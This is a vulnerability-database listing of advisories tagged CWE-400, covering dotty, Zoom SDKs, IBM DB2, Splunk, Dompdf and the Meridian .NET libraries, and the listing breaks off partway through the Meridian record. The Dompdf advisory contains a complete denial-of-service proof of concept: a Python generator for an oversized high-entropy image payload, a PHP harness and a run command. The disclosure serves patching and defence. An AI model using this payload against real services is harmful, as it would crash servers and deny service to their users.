CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5567 vulnerabilities reference this CWE, most recent first.
GHSA-F5C9-X9J6-87QP
Vulnerability from github – Published: 2021-02-05 20:43 – Updated: 2023-08-08 19:28Prototype pollution vulnerability in 'dotty' before version 0.1.1 allows attackers to cause a denial of service and may lead to remote code execution.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "dotty"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-25912"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-02-03T07:41:22Z",
"nvd_published_at": "2021-02-02T19:15:00Z",
"severity": "CRITICAL"
},
"details": "Prototype pollution vulnerability in \u0027dotty\u0027 before version 0.1.1 allows attackers to cause a denial of service and may lead to remote code execution.",
"id": "GHSA-f5c9-x9j6-87qp",
"modified": "2023-08-08T19:28:24Z",
"published": "2021-02-05T20:43:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25912"
},
{
"type": "WEB",
"url": "https://github.com/deoxxa/dotty/commit/cd997d37917186c131be71501a698803f2b7ebdb"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/dotty"
},
{
"type": "WEB",
"url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25912"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype pollution in dotty"
}
GHSA-F5CR-MP3H-4JJJ
Vulnerability from github – Published: 2023-08-08 18:30 – Updated: 2024-04-04 06:41Uncontrolled resource consumption in Zoom SDKs before 5.14.7 may allow an unauthenticated user to enable a denial of service via network access.
{
"affected": [],
"aliases": [
"CVE-2023-36533"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-772"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-08T18:15:14Z",
"severity": "HIGH"
},
"details": "Uncontrolled resource consumption in Zoom SDKs before 5.14.7 may allow an unauthenticated user to enable a denial of service via network access.",
"id": "GHSA-f5cr-mp3h-4jjj",
"modified": "2024-04-04T06:41:59Z",
"published": "2023-08-08T18:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36533"
},
{
"type": "WEB",
"url": "https://explore.zoom.us/en/trust/security/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F5GF-2CJ8-52G2
Vulnerability from github – Published: 2026-07-22 22:51 – Updated: 2026-07-22 22:51Summary
Dompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels).
While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers.
Technical Deep Dive:
Standard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to: - 100% CPU Saturation: The rendering thread hangs indefinitely trying to process the pixel stream. - Process Termination: The massive memory allocation (verified at ~1.2 GB for a single image) triggers a Fatal Error or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service.
Details
The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check.
PoC (Proof of Concept)
- Install Dompdf v3.1.5 via Composer.
composer require dompdf/dompdf:3.1.5
- Use the following Python script to generate the malicious payload (
exploit.py):
from PIL import Image
import base64
from io import BytesIO
import os
DIMENSIONS = (30000, 30000)
OUTPUT_FILE = "payload.html"
def generate_noise_bomb():
print(f"[*] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...")
random_bytes = os.urandom(DIMENSIONS[0] * DIMENSIONS[1])
image = Image.frombytes('L', DIMENSIONS, random_bytes)
buffer = BytesIO()
# Using PNG instead of JPEG to force full bitmap decompression in memory
image.save(buffer, format="PNG")
image_base64 = base64.b64encode(buffer.getvalue()).decode()
html_content = f"""
<html>
<body>
<div style="overflow:hidden; width:1px; height:1px;">
<img src="data:image/png;base64,{image_base64}">
</div>
<h1>PoC: Resource Exhaustion</h1>
</body>
</html>
"""
with open(OUTPUT_FILE, "w") as f:
f.write(html_content)
print(f"[+] High-entropy payload saved to: {OUTPUT_FILE}")
if __name__ == "__main__":
generate_noise_bomb()
- Use the following Python script to monitor the system resources in a separate terminal (
monitor.py):
import psutil
import time
def start_monitoring():
print("[*] Searching for PHP processes... (Press Ctrl+C to stop)")
try:
while True:
for proc in psutil.process_iter(['pid', 'name', 'memory_info', 'cpu_percent']):
if 'php' in proc.info['name'].lower():
try:
pid = proc.info['pid']
mem = proc.info['memory_info'].rss / (1024 * 1024)
cpu = proc.cpu_percent(interval=0.1)
print(f"\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%", end="", flush=True)
except (psutil.NoSuchProcess, psutil.AccessDenied):
print(f"\n[!] CRASH DETECTED: Process {pid} terminated abruptly.")
return
time.sleep(0.05)
except KeyboardInterrupt:
print("\n[*] Monitoring finished.")
if __name__ == "__main__":
start_monitoring()
- Create a file named
render.php. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library:
<?php
require_once __DIR__ . '/vendor/autoload.php';
use Dompdf\Dompdf;
use Dompdf\Options;
$options = new Options();
$options->set('isRemoteEnabled', true);
$options->set('isHtml5ParserEnabled', true);
$dompdf = new Dompdf($options);
$html = file_get_contents('php://stdin');
echo "[*] Starting Dompdf rendering process...\n";
try {
$dompdf->loadHtml($html);
$dompdf->render(); // Point of resource exhaustion
echo "[+] PDF rendered successfully.\n";
} catch (Exception $e) {
echo "[!] Render failed: " . $e->getMessage() . "\n";
}
- Execute the PHP process, providing the payload via stdin. We use a 2GB memory limit to demonstrate that the crash is caused by uncontrolled allocation rather than a restrictive server configuration:
php -d memory_limit=2G render.php < payload.html
- The engine attempts to process every pixel of the high-entropy image. The monitor.py script will record 99.8% CPU saturation, followed by a PHP Fatal Error (Allowed memory size exhausted) as Dompdf attempts to allocate ~1.2 GB in a single operation. The process is then terminated, confirming the Denial of Service.
Proof of Concept Results
https://github.com/user-attachments/assets/d7f936f4-570a-4dd8-8022-9c219664eb5b
The following logs demonstrate the successful exploitation of the resource exhaustion vulnerability. Despite a generous 2GB memory limit provided to the PHP process, a single high-entropy image causes a fatal crash.
Payload Generation:
python3 exploit.py
[*] Generating 30000x30000 High-Entropy Noise Bomb...
[+] High-entropy payload saved to: payload.html
Target Execution & Denial of Service:
``` Command execution php -d memory_limit=2G render.php < payload.html
Output [*] Starting Dompdf rendering process... PHP Fatal error: Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1200355712 bytes) in /home/far00t/dompdf_exploit/vendor/dompdf/dompdf/src/Dompdf.php on line 490
While executing the render.php process, the monitor.py script captured the following telemetry, showing the impact on system resources:
python3 monitor.py [*] Searching for PHP processes... (Press Ctrl+C to stop) [MONITOR] PID: 210767 | RAM: 953.17 MB | CPU: 99.7% ```
Key Findings from Telemetry:
- CPU Starvation: The process reached a sustained 99.7% CPU usage. In a production environment, this level of saturation on a single-threaded PHP process effectively denies service to any other task on that core.
- Rapid Memory Inflation: The resident memory (RSS) climbed to 953.17 MB just before the engine attempted the final allocation of 1.2 GB that triggered the Fatal error.
- Bypass Confirmation: The telemetry proves that Dompdf's internal "safe" limits were bypassed, as the engine proceeded to attempt a massive bitmap decompression that the host environment could not sustain.
Impact
An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf.
Credits
- Offensive Security Researcher: Fabian Rosales (far00t01).
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "dompdf/dompdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59942"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T22:51:40Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nDompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels).\n\nWhile Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers.\n\n### Technical Deep Dive:\nStandard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to:\n- **100% CPU Saturation:** The rendering thread hangs indefinitely trying to process the pixel stream.\n- **Process Termination:** The massive memory allocation (verified at ~1.2 GB for a single image) triggers a Fatal Error or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service.\n\n### Details\nThe vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object\u0027s bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check.\n\n### PoC (Proof of Concept)\n1. Install Dompdf v3.1.5 via Composer.\n```\ncomposer require dompdf/dompdf:3.1.5\n```\n2. Use the following Python script to generate the malicious payload (`exploit.py`):\n```python\nfrom PIL import Image\nimport base64\nfrom io import BytesIO\nimport os\n\nDIMENSIONS = (30000, 30000) \nOUTPUT_FILE = \"payload.html\"\n\ndef generate_noise_bomb():\n print(f\"[*] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...\")\n \n random_bytes = os.urandom(DIMENSIONS[0] * DIMENSIONS[1])\n image = Image.frombytes(\u0027L\u0027, DIMENSIONS, random_bytes)\n \n buffer = BytesIO()\n # Using PNG instead of JPEG to force full bitmap decompression in memory\n image.save(buffer, format=\"PNG\")\n image_base64 = base64.b64encode(buffer.getvalue()).decode()\n\n html_content = f\"\"\"\n \u003chtml\u003e\n \u003cbody\u003e\n \u003cdiv style=\"overflow:hidden; width:1px; height:1px;\"\u003e\n \u003cimg src=\"data:image/png;base64,{image_base64}\"\u003e\n \u003c/div\u003e\n \u003ch1\u003ePoC: Resource Exhaustion\u003c/h1\u003e\n \u003c/body\u003e\n \u003c/html\u003e\n \"\"\"\n \n with open(OUTPUT_FILE, \"w\") as f:\n f.write(html_content)\n print(f\"[+] High-entropy payload saved to: {OUTPUT_FILE}\")\n\nif __name__ == \"__main__\":\n generate_noise_bomb()\n```\n3. Use the following Python script to monitor the system resources in a separate terminal (`monitor.py`):\n```python\nimport psutil\nimport time\n\ndef start_monitoring():\n print(\"[*] Searching for PHP processes... (Press Ctrl+C to stop)\")\n try:\n while True:\n for proc in psutil.process_iter([\u0027pid\u0027, \u0027name\u0027, \u0027memory_info\u0027, \u0027cpu_percent\u0027]):\n if \u0027php\u0027 in proc.info[\u0027name\u0027].lower():\n try:\n pid = proc.info[\u0027pid\u0027]\n mem = proc.info[\u0027memory_info\u0027].rss / (1024 * 1024)\n cpu = proc.cpu_percent(interval=0.1)\n print(f\"\\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%\", end=\"\", flush=True)\n except (psutil.NoSuchProcess, psutil.AccessDenied):\n print(f\"\\n[!] CRASH DETECTED: Process {pid} terminated abruptly.\")\n return\n time.sleep(0.05)\n except KeyboardInterrupt:\n print(\"\\n[*] Monitoring finished.\")\n\nif __name__ == \"__main__\":\n start_monitoring()\n\n```\n4. Create a file named `render.php`. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library:\n```php\n\u003c?php\nrequire_once __DIR__ . \u0027/vendor/autoload.php\u0027;\nuse Dompdf\\Dompdf;\nuse Dompdf\\Options;\n\n$options = new Options();\n$options-\u003eset(\u0027isRemoteEnabled\u0027, true);\n$options-\u003eset(\u0027isHtml5ParserEnabled\u0027, true);\n\n$dompdf = new Dompdf($options);\n\n$html = file_get_contents(\u0027php://stdin\u0027);\n\necho \"[*] Starting Dompdf rendering process...\\n\";\n\ntry {\n $dompdf-\u003eloadHtml($html);\n $dompdf-\u003erender(); // Point of resource exhaustion\n echo \"[+] PDF rendered successfully.\\n\";\n} catch (Exception $e) {\n echo \"[!] Render failed: \" . $e-\u003egetMessage() . \"\\n\";\n}\n```\n5. Execute the PHP process, providing the payload via stdin. We use a 2GB memory limit to demonstrate that the crash is caused by uncontrolled allocation rather than a restrictive server configuration:\n```\nphp -d memory_limit=2G render.php \u003c payload.html\n```\n6. The engine attempts to process every pixel of the high-entropy image. The monitor.py script will record 99.8% CPU saturation, followed by a PHP Fatal Error (Allowed memory size exhausted) as Dompdf attempts to allocate ~1.2 GB in a single operation. The process is then terminated, confirming the Denial of Service.\n\n## Proof of Concept Results\n\nhttps://github.com/user-attachments/assets/d7f936f4-570a-4dd8-8022-9c219664eb5b\n\nThe following logs demonstrate the successful exploitation of the resource exhaustion vulnerability. Despite a generous 2GB memory limit provided to the PHP process, a single high-entropy image causes a fatal crash.\n\nPayload Generation:\n```\npython3 exploit.py \n[*] Generating 30000x30000 High-Entropy Noise Bomb...\n[+] High-entropy payload saved to: payload.html\n```\n\nTarget Execution \u0026 Denial of Service:\n\n``` Command execution\nphp -d memory_limit=2G render.php \u003c payload.html\n```\n\n```\nOutput\n[*] Starting Dompdf rendering process...\nPHP Fatal error: Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1200355712 bytes) in /home/far00t/dompdf_exploit/vendor/dompdf/dompdf/src/Dompdf.php on line 490\n```\nWhile executing the render.php process, the monitor.py script captured the following telemetry, showing the impact on system resources:\n```\npython3 monitor.py \n[*] Searching for PHP processes... (Press Ctrl+C to stop)\n[MONITOR] PID: 210767 | RAM: 953.17 MB | CPU: 99.7%\n```\n\n### Key Findings from Telemetry:\n- CPU Starvation: The process reached a sustained 99.7% CPU usage. In a production environment, this level of saturation on a single-threaded PHP process effectively denies service to any other task on that core.\n- Rapid Memory Inflation: The resident memory (RSS) climbed to 953.17 MB just before the engine attempted the final allocation of 1.2 GB that triggered the Fatal error.\n- Bypass Confirmation: The telemetry proves that Dompdf\u0027s internal \"safe\" limits were bypassed, as the engine proceeded to attempt a massive bitmap decompression that the host environment could not sustain.\n\n\n## Impact\nAn unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf.\n\n## Credits\n- Offensive Security Researcher: Fabian Rosales (far00t01).",
"id": "GHSA-f5gf-2cj8-52g2",
"modified": "2026-07-22T22:51:40Z",
"published": "2026-07-22T22:51:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-f5gf-2cj8-52g2"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/commit/7c65e7bbeccf146b2409740405af73949ad129d0"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/commit/89164eaabe0bb50c462f0b24f740044ba5fb0f99"
},
{
"type": "PACKAGE",
"url": "https://github.com/dompdf/dompdf"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dompdf: Denial of Service (DoS) via Resource Exhaustion using Oversized Image Bitmaps"
}
GHSA-F5PG-467W-P7F7
Vulnerability from github – Published: 2022-05-24 17:09 – Updated: 2022-05-24 17:09IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) 9.7, 10.1, 10.5, 11.1, and 11.5 could allow an unauthenticated user to send specially crafted packets to cause a denial of service from excessive memory usage.
{
"affected": [],
"aliases": [
"CVE-2020-4135"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-02-19T16:15:00Z",
"severity": "MODERATE"
},
"details": "IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) 9.7, 10.1, 10.5, 11.1, and 11.5 could allow an unauthenticated user to send specially crafted packets to cause a denial of service from excessive memory usage.",
"id": "GHSA-f5pg-467w-p7f7",
"modified": "2022-05-24T17:09:21Z",
"published": "2022-05-24T17:09:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4135"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/173806"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210108-0001"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/2876307"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-F5R5-HQ5J-GMJR
Vulnerability from github – Published: 2022-11-05 12:00 – Updated: 2022-11-08 19:00In Splunk Enterprise versions below 8.1.12, 8.2.9, and 9.0.2, a remote user who can create search macros and schedule search reports can cause a denial of service through the use of specially crafted search macros.
{
"affected": [],
"aliases": [
"CVE-2022-43564"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-04T23:15:00Z",
"severity": "MODERATE"
},
"details": "In Splunk Enterprise versions below 8.1.12, 8.2.9, and 9.0.2, a remote user who can create search macros and schedule search reports can cause a denial of service through the use of specially crafted search macros.",
"id": "GHSA-f5r5-hq5j-gmjr",
"modified": "2022-11-08T19:00:24Z",
"published": "2022-11-05T12:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43564"
},
{
"type": "WEB",
"url": "https://www.splunk.com/en_us/product-security/announcements/svd-2022-1104.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F5V8-V6Q3-Q4H6
Vulnerability from github – Published: 2026-04-16 22:50 – Updated: 2026-04-16 22:50Summary
Meridian v2.1.0 (Meridian.Mapping and Meridian.Mediator) shipped with nine defense-in-depth gaps reachable through its public APIs. Two are HIGH severity — the advertised DefaultMaxCollectionItems and DefaultMaxDepth safety caps are silently bypassed on the IMapper.Map(source, destination) overload and anywhere .UseDestinationValue() is configured on a collection-typed property. Four are MEDIUM (constructor invariant bypass, OpenTelemetry stack-trace info disclosure, retry amplification, notification fan-out amplification). Three are LOW (exception message disclosure, dictionary duplicate-key echo, static mediator cache growth under closed-generic types).
All nine are patched in v2.1.1. Upgrade is a drop-in NuGet bump; see the v2.1.1 CHANGELOG for the four behavioural changes (constructor selection, OTel default, publisher fan-out cap, retry caps).
Severity Matrix
| # | Severity | CWE | Finding | Fix |
|---|---|---|---|---|
| 1 | HIGH | CWE-770 | MappingEngine.TryMapCollectionOntoExisting enumerated the source without enforcing DefaultMaxCollectionItems. Reachable via Mapper.Map<TSrc,TDst>(src, dst) and any .ForMember(..., o => o.UseDestinationValue()) on a collection member through a plain Map(src) call. |
Shared cap enforcement helper between MapCollection and TryMapCollectionOntoExisting. |
| 2 | HIGH | CWE-674 | Collection-item recursion in the existing-destination path did not increment ResolutionContext.Depth, so self-referential collection graphs could reach stack overflow before DefaultMaxDepth fired. |
Depth increments at every collection-item boundary. |
| 3 | MEDIUM | CWE-665 | ObjectCreator.CreateWithConstructorMapping always invoked the widest public constructor, silently filling unresolved parameters with default(T) and bypassing narrower-ctor invariants. |
Widest-ctor selection now requires every parameter to be bound via explicit ctor mapping, source-name match, or a C# optional default. |
| 4 | MEDIUM | CWE-532 | Mediator.MarkActivityFailure emitted the full ex.ToString() (stack + inner chain) to the OpenTelemetry exception.stacktrace activity tag by default, leaking context to any shared trace sink. |
Gated on MediatorTelemetryOptions.RecordExceptionStackTrace — opt-in, default false. |
| 5 | MEDIUM | CWE-400 | RetryBehavior retried every exception type with unbounded MaxRetries; the exponential-backoff delay overflowed TimeSpan at ~30 attempts. No cancellation exclusion. |
Server-side MaxRetriesCap = 10, MaxBackoff = 5 min, OperationCanceledException short-circuit, recommended RetryPolicy.TransientOnly helper. |
| 6 | MEDIUM | CWE-400 | TaskWhenAllPublisher started every registered handler concurrently with no bound on fan-out. |
New constructor parameter maxDegreeOfParallelism (default 16; -1 restores legacy unbounded). |
| 7 | LOW | CWE-209 | Public mapping exceptions leaked FullName of source/destination types and concatenated inner exception messages into top-level property-mapping errors. |
Scrubbed to type Name; inner details only via InnerException chain. |
| 8 | LOW | CWE-209 | Dictionary materialization threw ArgumentException on duplicate keys, echoing the attacker-supplied key's .ToString(). |
Last-write-wins indexer semantics. |
| 9 | LOW | CWE-1325 | Static mediator handler caches grow monotonically under closed-generic request types. Doc-only mitigation; no code change — consumers must not allow attacker-controlled runtime type materialization to reach Send, Publish, or CreateStream. |
Documented in docs/security-model.md. |
Exploitation
Finding 1 / 2 (headline): A consumer that maps user-supplied collection payloads onto an existing destination list via mapper.Map(userCollection, existingList) — a documented and commonly used AutoMapper-style idiom — processes the full attacker-supplied collection with no size cap and no depth cap. An attacker sending a single request with a large (or self-referential) collection payload can block the worker thread for seconds and exhaust the managed heap or the call stack. Equivalent exposure through .UseDestinationValue() on a collection-typed destination member, reachable via a plain Map(src) call whose destination type default-initializes that member.
Finding 3: A destination type with multiple public constructors that differ only in their parameter-binding invariants (e.g., new UserAccount(string name, Email email) enforcing a non-default Email) could be instantiated with the narrower ctor's invariants silently bypassed if any source field was absent — the widest ctor was always picked, with unbound parameters replaced by default(T).
Findings 4 / 5 / 6: Amplification / information-disclosure vectors described in the matrix above. Each requires moderate integration context (telemetry sink trust, handler count, retry policy) to weaponize, but each is reachable through public APIs without authentication.
Patches
Meridian.Mapping2.1.1 (published 2026-04-16)Meridian.Mediator2.1.1 (published 2026-04-16)
Verified via:
- GitHub Release assets at https://github.com/UmutKorkmaz/meridian/releases/tag/v2.1.1
- Sigstore attestation (actions/attest-build-provenance@v2 → gh attestation verify green on both .nupkg from the GitHub Release)
- NuGet.org indexed both packages within the release workflow run
Workarounds
Users who cannot upgrade immediately may:
1. Avoid mapper.Map(src, dst) and .UseDestinationValue() on collection-typed destination members.
2. Wrap input collection deserialization with an explicit size limit before handing the payload to Meridian.
3. Register TaskWhenAllPublisher with maxDegreeOfParallelism ≤ 16 manually (v2.1.1+ only).
4. Disable OpenTelemetry exception.stacktrace tag emission at the trace exporter level if your trace sink is less trusted than your application.
These are defense-in-depth; the only complete mitigation is upgrading to 2.1.1.
Supported Versions
As of this advisory the supported security branch is 2.1.x. The 2.0.x line (published 2026-04-15) is not receiving the Phase 1 safety-defaults infrastructure needed to carry the HIGH-severity fixes, so 2.0.x is deprecated in favor of 2.1.x. See SECURITY.md for the updated supported-versions table.
Credits
- UmutKorkmaz (reporter and maintainer)
References
- v2.1.1 CHANGELOG section: https://github.com/UmutKorkmaz/meridian/blob/main/CHANGELOG.md#211---2026-04-16
docs/security-model.mdthreat model: https://github.com/UmutKorkmaz/meridian/blob/main/docs/security-model.mdSECURITY.mddisclosure policy: https://github.com/UmutKorkmaz/meridian/blob/main/SECURITY.md- AutoMapper CVE-2026-32933 (motivating precedent for Meridian's safety-defaults)
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Meridian.Mapping"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Meridian.Mediator"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1325",
"CWE-209",
"CWE-400",
"CWE-532",
"CWE-665",
"CWE-674",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T22:50:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nMeridian v2.1.0 (`Meridian.Mapping` and `Meridian.Mediator`) shipped with nine defense-in-depth gaps reachable through its public APIs. Two are HIGH severity \u2014 the advertised `DefaultMaxCollectionItems` and `DefaultMaxDepth` safety caps are silently bypassed on the `IMapper.Map(source, destination)` overload and anywhere `.UseDestinationValue()` is configured on a collection-typed property. Four are MEDIUM (constructor invariant bypass, OpenTelemetry stack-trace info disclosure, retry amplification, notification fan-out amplification). Three are LOW (exception message disclosure, dictionary duplicate-key echo, static mediator cache growth under closed-generic types).\n\nAll nine are patched in **v2.1.1**. Upgrade is a drop-in NuGet bump; see the v2.1.1 CHANGELOG for the four behavioural changes (constructor selection, OTel default, publisher fan-out cap, retry caps).\n\n## Severity Matrix\n\n| # | Severity | CWE | Finding | Fix |\n|---|---|---|---|---|\n| 1 | **HIGH** | CWE-770 | `MappingEngine.TryMapCollectionOntoExisting` enumerated the source without enforcing `DefaultMaxCollectionItems`. Reachable via `Mapper.Map\u003cTSrc,TDst\u003e(src, dst)` and any `.ForMember(..., o =\u003e o.UseDestinationValue())` on a collection member through a plain `Map(src)` call. | Shared cap enforcement helper between `MapCollection` and `TryMapCollectionOntoExisting`. |\n| 2 | **HIGH** | CWE-674 | Collection-item recursion in the existing-destination path did not increment `ResolutionContext.Depth`, so self-referential collection graphs could reach stack overflow before `DefaultMaxDepth` fired. | Depth increments at every collection-item boundary. |\n| 3 | MEDIUM | CWE-665 | `ObjectCreator.CreateWithConstructorMapping` always invoked the widest public constructor, silently filling unresolved parameters with `default(T)` and bypassing narrower-ctor invariants. | Widest-ctor selection now requires every parameter to be bound via explicit ctor mapping, source-name match, or a C# optional default. |\n| 4 | MEDIUM | CWE-532 | `Mediator.MarkActivityFailure` emitted the full `ex.ToString()` (stack + inner chain) to the OpenTelemetry `exception.stacktrace` activity tag by default, leaking context to any shared trace sink. | Gated on `MediatorTelemetryOptions.RecordExceptionStackTrace` \u2014 opt-in, default `false`. |\n| 5 | MEDIUM | CWE-400 | `RetryBehavior` retried every exception type with unbounded `MaxRetries`; the exponential-backoff delay overflowed `TimeSpan` at ~30 attempts. No cancellation exclusion. | Server-side `MaxRetriesCap = 10`, `MaxBackoff = 5 min`, `OperationCanceledException` short-circuit, recommended `RetryPolicy.TransientOnly` helper. |\n| 6 | MEDIUM | CWE-400 | `TaskWhenAllPublisher` started every registered handler concurrently with no bound on fan-out. | New constructor parameter `maxDegreeOfParallelism` (default 16; `-1` restores legacy unbounded). |\n| 7 | LOW | CWE-209 | Public mapping exceptions leaked `FullName` of source/destination types and concatenated inner exception messages into top-level property-mapping errors. | Scrubbed to type `Name`; inner details only via `InnerException` chain. |\n| 8 | LOW | CWE-209 | Dictionary materialization threw `ArgumentException` on duplicate keys, echoing the attacker-supplied key\u0027s `.ToString()`. | Last-write-wins indexer semantics. |\n| 9 | LOW | CWE-1325 | Static mediator handler caches grow monotonically under closed-generic request types. **Doc-only mitigation**; no code change \u2014 consumers must not allow attacker-controlled runtime type materialization to reach `Send`, `Publish`, or `CreateStream`. | Documented in `docs/security-model.md`. |\n\n## Exploitation\n\n**Finding 1 / 2 (headline):** A consumer that maps user-supplied collection payloads onto an existing destination list via `mapper.Map(userCollection, existingList)` \u2014 a documented and commonly used AutoMapper-style idiom \u2014 processes the full attacker-supplied collection with no size cap and no depth cap. An attacker sending a single request with a large (or self-referential) collection payload can block the worker thread for seconds and exhaust the managed heap or the call stack. Equivalent exposure through `.UseDestinationValue()` on a collection-typed destination member, reachable via a plain `Map(src)` call whose destination type default-initializes that member.\n\n**Finding 3:** A destination type with multiple public constructors that differ only in their parameter-binding invariants (e.g., `new UserAccount(string name, Email email)` enforcing a non-default `Email`) could be instantiated with the narrower ctor\u0027s invariants silently bypassed if any source field was absent \u2014 the widest ctor was always picked, with unbound parameters replaced by `default(T)`.\n\n**Findings 4 / 5 / 6:** Amplification / information-disclosure vectors described in the matrix above. Each requires moderate integration context (telemetry sink trust, handler count, retry policy) to weaponize, but each is reachable through public APIs without authentication.\n\n## Patches\n\n- `Meridian.Mapping` **2.1.1** (published 2026-04-16)\n- `Meridian.Mediator` **2.1.1** (published 2026-04-16)\n\nVerified via:\n- GitHub Release assets at \u003chttps://github.com/UmutKorkmaz/meridian/releases/tag/v2.1.1\u003e\n- Sigstore attestation (`actions/attest-build-provenance@v2` \u2192 `gh attestation verify` green on both `.nupkg` from the GitHub Release)\n- NuGet.org indexed both packages within the release workflow run\n\n## Workarounds\n\nUsers who cannot upgrade immediately may:\n1. Avoid `mapper.Map(src, dst)` and `.UseDestinationValue()` on collection-typed destination members.\n2. Wrap input collection deserialization with an explicit size limit before handing the payload to Meridian.\n3. Register `TaskWhenAllPublisher` with `maxDegreeOfParallelism` \u2264 16 manually (v2.1.1+ only).\n4. Disable OpenTelemetry `exception.stacktrace` tag emission at the trace exporter level if your trace sink is less trusted than your application.\n\nThese are defense-in-depth; the only complete mitigation is upgrading to 2.1.1.\n\n## Supported Versions\n\nAs of 